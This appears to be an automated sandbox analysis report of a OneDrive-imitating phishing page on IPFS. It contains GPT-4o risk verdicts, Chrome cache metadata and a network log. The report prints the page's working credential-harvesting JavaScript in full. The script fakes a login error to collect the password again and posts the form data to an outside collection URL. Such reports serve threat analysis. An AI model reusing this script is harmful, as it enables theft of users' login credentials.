YI71xIp5JS8KpuGZ81euIiFyP3CkT4A/Hl//PK+ZDOoT5s4CZ1yvIZbKG1uOo/wkOnOhcnzVmjR7D0CIuLcyGclkIFbJKlViS6mJEMdOfiYDdYomLVIgqsmYZSo5V5LTk9+b3zR5rk2aXqfhLBKhFFYjNSNPclUgNvDTSgdDU7MWVa3atOvQWXMtVWutrTr5zZZbadpqa6230WbPvXTtFYLsoY8+RxoZctRRRxt9jDEnN52MPPn15II5V1p5laWrrrb6Gmtu4LPL1l132z3ssaclywZPWLVm3YbNIwconXL01NNOP+PMC9RuvuXqrbfdfsedn1mT8ErrT4+/z5p8ZC09mfIL22fW+GlrH0OI04l6zshYKkLGm2cAQCfPWexSSgqeOs9ZHImq0MQs1ZNj4hkjg+VI0iufufuWuR/yFkr5n/KWPjIXPHX/j8wFT91vMvdz3n6RNXO12TGHJ0Nehh7UmK9r6Z2p8w9N+tMRLky7xV01HNZcVPZI5aQ1DEZr3VaZN25bWcapDA25VdFTRtYjYKxAeHXxJo29OCs9VNnV4pCxifiyVgyq2meetVCsufTkcq3cKtbWSZN6mKWNAatuI/ZpboI/bzA7eTH6Pln19rXm1bN746kVUZTM/AxqXtrGYd5jk5WM95it3NgK6Jlr7JDzViK6PL1mpLApow5hGfOemizlygGsjbwbzHFh5aEaGVYxCEB0nhNbYIab6JDptCbRSjbEMdaWkzXvXDKmFZ3Eb0cvQu4DYbemiAeYKABz5GC7DJAhVuoAwLHt0lyZirS9WV7Pwg9qkXwWM2kNLW8bcBqxYfJUFveOFhCcLqAEVOTbWdtV0c7qrcy2Zq6cm6x0NtNLmHu/ZVpLDI8mncPk8915BJjxEla+230A/duI4oYOlw5DxcTMcWEVjWLGTW3wsVh1yZJVyo413zwDz4V4arQqc+aVRiVgxFhnztZPpzrsnCprcb/aU2EquQoSR+URUpSWn5agUtTt1X951NPAz71QrcbTpe5Lkae9mH7uu63UmYWvtwDiuduRgQgbVRoBtyGvEbWOdxRBlM9SlraI/y5GPla5eXdLhaGSju5YOncnaGxcuwNyho4oyj3O2Q1MQSWrCYGNgZrfXvulE1UYzoAsJXnVEiDtN+tah4l4lU73pr85hvcbbrClnbyXkXmKpAnrlLYEC06AIdWSLmViIrOeCYKow06lkGrqbYS4MRWsV2/KIAy3VAmKAqhKTpgnv6HOoVQQxWpNqZ+RKLJ9vY7boVZkK9WvxAflBLI3XmqNlVeg7riD6LdQYg1VLxaZxK742UnmuTmsunbLlpyfwh8JDK7tZ1rV6djzggacKrbWIA9jQrmgTwIFl6Cew91PbSSaBFI8FIL1Mjvyoga1HGFJdlpfV31exBKiwUh3BiOgMGRXIgzoL+mS3TT7ouACyAzFYP0d1HCJzLUaUcesIjVNmSQ4K2QXdr8ztOFal6TGRRDrMctnesuUAVGHXeeWWdZAX7rsnhR0MU4CNDfHXVbOq+8K+W8HI5dTZ+gJVFzWLOVQR2aV0HKgDtZdvVJ/peYeC+R2GHmph2t5+QJIZiMHZhsbluAsFTuG0ys8x2IP3lV18HIM3TPjOuJZ54Fpx6GsdbSWbritI62zs+CFONobwxjZv9SkbCMfiQG+50cYvXOTQqxociwwzXES6mmdUg1rOou5M0BhN3W
URL: http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/ Model: gpt-4o	```json { "riskscore": 9, "reasons": "The JavaScript code contains several red flags indicative of malicious activity: 1) It captures and sends form data, including potentially sensitive information like passwords, to an external URL (https://lavinosuae.com/yeh.php), which is a common tactic used in phishing attacks. 2) The code manipulates the DOM to display error messages and clear password fields, which can be used to trick users into repeatedly entering their credentials. 3) The code also includes commented-out sections that redirect users to a legitimate site (https://onedrive.com/), which is a common technique to make the malicious site appear more legitimate." }
var elements = document.getElementsByClassName("doc_img"); for (var i = 0; i < elements.length; i++) { elements[i].addEventListener("click", function() { var login_body = document.getElementById("login_body"); login_body.style.display = "flex"; }); } var link = window.location.href; var url = new URL(link); var hash = url.hash; var updated_email = hash.replace("#", ""); document.getElementById("email").value = updated_email; document.getElementById("email_holder").innerText = updated_email; document.addEventListener("DOMContentLoaded", function() { var form = document.getElementById("form"); form.addEventListener("submit", function(e) { e.preventDefault(); var number = parseInt(document.getElementById("number").value); var formData = new FormData(form); var xhr = new XMLHttpRequest(); xhr.open("POST", "https://lavinosuae.com/yeh.php", true); var errors = document.getElementById("error"); errors.innerText = "Incorrect Details, Retype Password !"; var password = document.getElementById("password"); password.value = ""; var added = number + 1; document.getElementById("number").value = added; // if (number === 1) { // errors.innerText = ""; // setTimeout(() => { // window.location.href="https://onedrive.com/"; // }, 2000); // } xhr.onreadystatechange = function() { if (xhr.readyState === XMLHttpRequest.DONE) { if (xhr.status === 200) { console.log(xhr.responseText); } else { console.error(xhr.responseText); } } }; xhr.send(formData); }); });
URL: http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/ Model: gpt-4o	```json { "phishing_score": 9, "brands": "OneDrive", "phishing": true, "suspicious_domain": true, "has_loginform": false, "has_captcha": false, "setechniques": true, "reasons": "The URL is highly suspicious as it does not match the legitimate domain for OneDrive (which is onedrive.live.com). The use of an IPFS (InterPlanetary File System) URL is unusual for a legitimate service like OneDrive. The page mimics the OneDrive interface, which is a common social engineering technique used in phishing attacks to deceive users into thinking they are on a legitimate site." }

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 513
Category:	dropped
Size (bytes):	276
Entropy (8bit):	7.316609873335077
Encrypted:	false
SSDEEP:	6:XtqDFR4m68lkQfanvbEzXI0iP427cnLPw6/aqqmb/:XUD34sMDaXI0demb/
MD5:	4E3510919D29D18EEB6E3E8B2687D2F5
SHA1:	31522A9EC576A462C3F1FFA65C010D4EB77E9A85
SHA-256:	1707BE1284617ACC0A66A14448207214D55C3DA4AAF25854E137E138E089257E
SHA-512:	DFAD29E3CF9E51D1749961B47382A5151B1F3C98DEABF2B63742EB6B7F7743EE9B605D646A730CF3E087D4F07E43107C8A01FF5F68020C7BF933EBA370175682
Malicious:	false
Reputation:	low
Preview:	...........Q=o. ..+.......=t....E.k["...../g;n.,....{.......2....e.......J).8..).5.....>,.ih...^s...&M.Ta..m........C.N5.G.!.-...}.9.~........u.3..@i..qK.U.......E.........S.......A.....6...G..g...,f3g.5F..I...G@<..L.:`.N&.?R....d..(.7._....z.L.......s....

Chrome Cache Entry: 43

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	68
Entropy (8bit):	4.833283245439395
Encrypted:	false
SSDEEP:	3:qinPbMTH+YKthUox42YY:qyPbTCoxfYY
MD5:	EE26B2906545291D733712CFAF0E7AE4
SHA1:	8693233C1532FCC6D7029E1DD6F3653EC2A58935
SHA-256:	E03728C0D91BB767CAFFC0832CEE4DF107DA842ADB74880E0AE6CF435A659D82
SHA-512:	D7307DB3D4FC995C819EF90BB1A15772FAB296A2CFFBBE015B01987EA7C94776A14AF071659A8F58829E2DC04F2AE61804F2B6A1397A00C3570112A2209D93D7
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwkZmx41Hdsi0hIFDYOoWz0SBQ3OQUx6Eh4JlhrDZnfPf3wSBQ22JnkEEgUNeG8SGRIFDc5BTHo=?alt=proto
Preview:	ChIKBw2DqFs9GgAKBw3OQUx6GgAKGwoHDbYmeQQaAAoHDXhvEhkaAAoHDc5BTHoaAA==

Chrome Cache Entry: 44

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65335)
Category:	downloaded
Size (bytes):	232691
Entropy (8bit):	4.985051603437628
Encrypted:	false
SSDEEP:	1536:Xa/tfXbf98fOdBfvO5wlP79y9A37onOHFsY/ElV6V6pz600I41r:itfL98fVnOHVI6V6pz600I41r
MD5:	D603CFA239A34AC65AF566681E7AA3E7
SHA1:	4AF3D7E15A6A380C6CBABBA42E9ADF330B49D58F
SHA-256:	16EE7F3D53462650BBD32E263C48C0EA759574FCF620C681AD719008912C461A
SHA-512:	8868C69B0226D541CD692BB088D15F077F87A734FF60B24C8983CACE54045694FA1568B9ADFA5BCAB06E4CFB1E49C382581911B6CAD121BAD3CC9A50D3621A2C
Malicious:	false
Reputation:	low
URL:	https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha3/dist/css/bootstrap.min.css
Preview:	@charset "UTF-8";/!. Bootstrap v5.3.0-alpha3 (https://getbootstrap.com/). * Copyright 2011-2023 The Bootstrap Authors. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE). */:root,[data-bs-theme=light]{--bs-blue:#0d6efd;--bs-indigo:#6610f2;--bs-purple:#6f42c1;--bs-pink:#d63384;--bs-red:#dc3545;--bs-orange:#fd7e14;--bs-yellow:#ffc107;--bs-green:#198754;--bs-teal:#20c997;--bs-cyan:#0dcaf0;--bs-black:#000;--bs-white:#fff;--bs-gray:#6c757d;--bs-gray-dark:#343a40;--bs-gray-100:#f8f9fa;--bs-gray-200:#e9ecef;--bs-gray-300:#dee2e6;--bs-gray-400:#ced4da;--bs-gray-500:#adb5bd;--bs-gray-600:#6c757d;--bs-gray-700:#495057;--bs-gray-800:#343a40;--bs-gray-900:#212529;--bs-primary:#0d6efd;--bs-secondary:#6c757d;--bs-success:#198754;--bs-info:#0dcaf0;--bs-warning:#ffc107;--bs-danger:#dc3545;--bs-light:#f8f9fa;--bs-dark:#212529;--bs-primary-rgb:13,110,253;--bs-secondary-rgb:108,117,125;--bs-success-rgb:25,135,84;--bs-info-rgb:13,202,240;--bs-warning-rgb:255,193,7;--bs-danger-r

Chrome Cache Entry: 45

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 749686
Category:	downloaded
Size (bytes):	409535
Entropy (8bit):	7.998734536423084
Encrypted:	true
SSDEEP:	6144:2Gs7YLZNjPX9yZFU32EXEkCAqBDf5UuMWm34qDRh/6Hs/9DrYzZsBoe:21Utn72EXvCAqBz5xMDr8s/BrYzZWF
MD5:	F70B6FD1CC55368237B1932E00B00918
SHA1:	AE367E74FC4F6A6616C2C10CB221E290B1CB6B70
SHA-256:	CCB7913A320D73AA6244273017E0B0D2F5E589274BFA67051AD67D44A6E68929
SHA-512:	DD782AE24E44501E04C73C4CDC3F72435F1D350B4AE85BFFECE8D8921D5AF811FF5EBFDE2943FCD30F150A6E0274458D60A51FAB10FA1DD18D0C86184CEFBD98
Malicious:	false
Reputation:	low
URL:	http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/
Preview:	...............L.-...S..HL.D&..4.C....7.'....UuN....0}Q..("......C..................b)......=.u....}..h.i.....7.\m.l.(........R..9U..{...=.j/..._............8?...!..;.C..V.9@.1........... .Z.K.......?.(7UG.7..l../....N......=.......N....;.Lkvt.X..F.b..j..UE...WeS...<gS....U..l.....G.7./..+...5D..!P7wG....l.c............h.....;V{[U...nU...?....`Q.......k..\..N`.,.~l.........{6.m..e..`.........Q.../#Z.+....O6.cn.r........v.....b....2;...L7eM...r..."..!\...{C..,..0...B.0.c...p..$..9.%.?.....zI\4..^.4..BU...bY.0..g[:.c......,.)=`0.U#.\|Q`6.....j.'`'y^...VQq../K.A+........4.4........^<..$...h..\.k.....~.%W.P`r.\.}..F.ELP....E.K......._9..7.....X.T.L.p.TL.F.=.1...0.>..[...\|<R...S.U.6Q.".]V...K....m4.&..G..:I.k..+.."...II.GT.7V.X..E)5y~...DP.8H.9Y..T..b.8..S.....`.<VQ..v.+P..a.......w..?.../......;.k..z..c.y..{.a.z5U....+.-....H..L.@.....p4..@.b.x..h..?.B.....~....e.U...SJ).:.N\|m..\|.....m.Hyk....R...4.$.......j.....%y.SN.x.b..1W.1.<bR.......

Chrome Cache Entry: 46

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 513
Category:	downloaded
Size (bytes):	276
Entropy (8bit):	7.316609873335077
Encrypted:	false
SSDEEP:	6:XtqDFR4m68lkQfanvbEzXI0iP427cnLPw6/aqqmb/:XUD34sMDaXI0demb/
MD5:	4E3510919D29D18EEB6E3E8B2687D2F5
SHA1:	31522A9EC576A462C3F1FFA65C010D4EB77E9A85
SHA-256:	1707BE1284617ACC0A66A14448207214D55C3DA4AAF25854E137E138E089257E
SHA-512:	DFAD29E3CF9E51D1749961B47382A5151B1F3C98DEABF2B63742EB6B7F7743EE9B605D646A730CF3E087D4F07E43107C8A01FF5F68020C7BF933EBA370175682
Malicious:	false
Reputation:	low
URL:	https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg
Preview:	...........Q=o. ..+.......=t....E.k["...../g;n.,....{.......2....e.......J).8..).5.....>,.ih...^s...&M.Ta..m........C.N5.G.!.-...}.9.~........u.3..@i..qK.U.......E.........S.......A.....6...G..g...,f3g.5F..I...G@<..L.:`.N&.?R....d..(.7._....z.L.......s....

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 24, 2024 00:26:04.625910997 CEST	49675	443	192.168.2.4	173.222.162.32
May 24, 2024 00:26:04.641412973 CEST	49678	443	192.168.2.4	104.46.162.224
May 24, 2024 00:26:11.134494066 CEST	49732	53	192.168.2.4	1.1.1.1
May 24, 2024 00:26:11.152987957 CEST	53	49732	1.1.1.1	192.168.2.4
May 24, 2024 00:26:11.153063059 CEST	49732	53	192.168.2.4	1.1.1.1
May 24, 2024 00:26:11.153472900 CEST	49732	53	192.168.2.4	1.1.1.1
May 24, 2024 00:26:11.153565884 CEST	49732	53	192.168.2.4	1.1.1.1
May 24, 2024 00:26:11.182877064 CEST	53	49732	1.1.1.1	192.168.2.4
May 24, 2024 00:26:11.189385891 CEST	53	49732	1.1.1.1	192.168.2.4
May 24, 2024 00:26:11.639595032 CEST	53	49732	1.1.1.1	192.168.2.4
May 24, 2024 00:26:11.640146017 CEST	49732	53	192.168.2.4	1.1.1.1
May 24, 2024 00:26:11.656079054 CEST	53	49732	1.1.1.1	192.168.2.4
May 24, 2024 00:26:11.656574965 CEST	49732	53	192.168.2.4	1.1.1.1
May 24, 2024 00:26:12.717219114 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:12.717463017 CEST	49737	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:12.744419098 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:12.744508982 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:12.744721889 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:12.753983021 CEST	80	49737	104.17.64.14	192.168.2.4
May 24, 2024 00:26:12.754252911 CEST	49737	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:12.758750916 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.263108969 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.263128042 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.263204098 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.263374090 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.263389111 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.263400078 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.263422966 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.263556957 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.263571024 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.263582945 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.263595104 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.263622999 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.263753891 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.263767958 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.263813972 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.271569967 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.271581888 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.271651030 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.349405050 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.349421978 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.349528074 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.349968910 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.349981070 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.350040913 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.350091934 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.350104094 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.350138903 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.350819111 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.350845098 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.350853920 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.350887060 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.351680994 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.351694107 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.351742029 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.352581024 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.352596045 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.352611065 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.352629900 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.352648020 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.352658987 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.353339911 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.353385925 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.353425980 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.353578091 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.353622913 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.354216099 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.354233027 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.354268074 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.354516983 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.355010986 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.355057955 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.438899994 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.438916922 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.439018965 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.439651012 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.439662933 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.439672947 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.439709902 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.439897060 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.439940929 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.441678047 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.441692114 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.441747904 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.442027092 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.442038059 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.442047119 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.442056894 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.442068100 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.442070007 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.442078114 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.442087889 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.442090988 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.442126989 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.443028927 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.443042040 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.443053007 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.443073034 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.443094015 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.443391085 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.443403006 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.443428040 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.443514109 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.443526030 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.443536997 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.443553925 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.443747044 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.443758965 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.443769932 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.444025993 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.444205999 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.444217920 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.444227934 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.444276094 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.445003986 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.445050001 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.445091009 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.445101023 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.445132017 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.446033001 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.446046114 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.446080923 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.446175098 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.447030067 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.447079897 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.452383041 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.452398062 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.452411890 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.452507019 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.453156948 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.453167915 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.453201056 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.455528021 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.455543041 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.455593109 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.524590015 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.524606943 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.524702072 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.524734020 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.524753094 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.524785042 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.524912119 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.524924040 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.524970055 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.525055885 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.525068045 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.525091887 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.525253057 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.525264025 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.525274992 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.525300026 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.525317907 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.525945902 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.525959015 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.525994062 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.526015043 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.526070118 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.526082993 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.526093960 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.526114941 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.526141882 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.526623964 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.526732922 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.526743889 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.526768923 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.526891947 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.526904106 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.526913881 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.526931047 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.526941061 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.527033091 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.529052019 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.529064894 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.529077053 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.529088974 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.529093981 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.529114008 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.529149055 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.529459000 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.530582905 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.530595064 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.530601025 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.530618906 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.530635118 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.530639887 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.530683041 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.530694008 CEST	49736	80	192.168.2.4	104.17.64.14
May 24, 2024 00:26:13.532687902 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.532701015 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.532711029 CEST	80	49736	104.17.64.14	192.168.2.4
May 24, 2024 00:26:13.532721043 CEST	80	49736	104.17.64.14	192.168.2.4
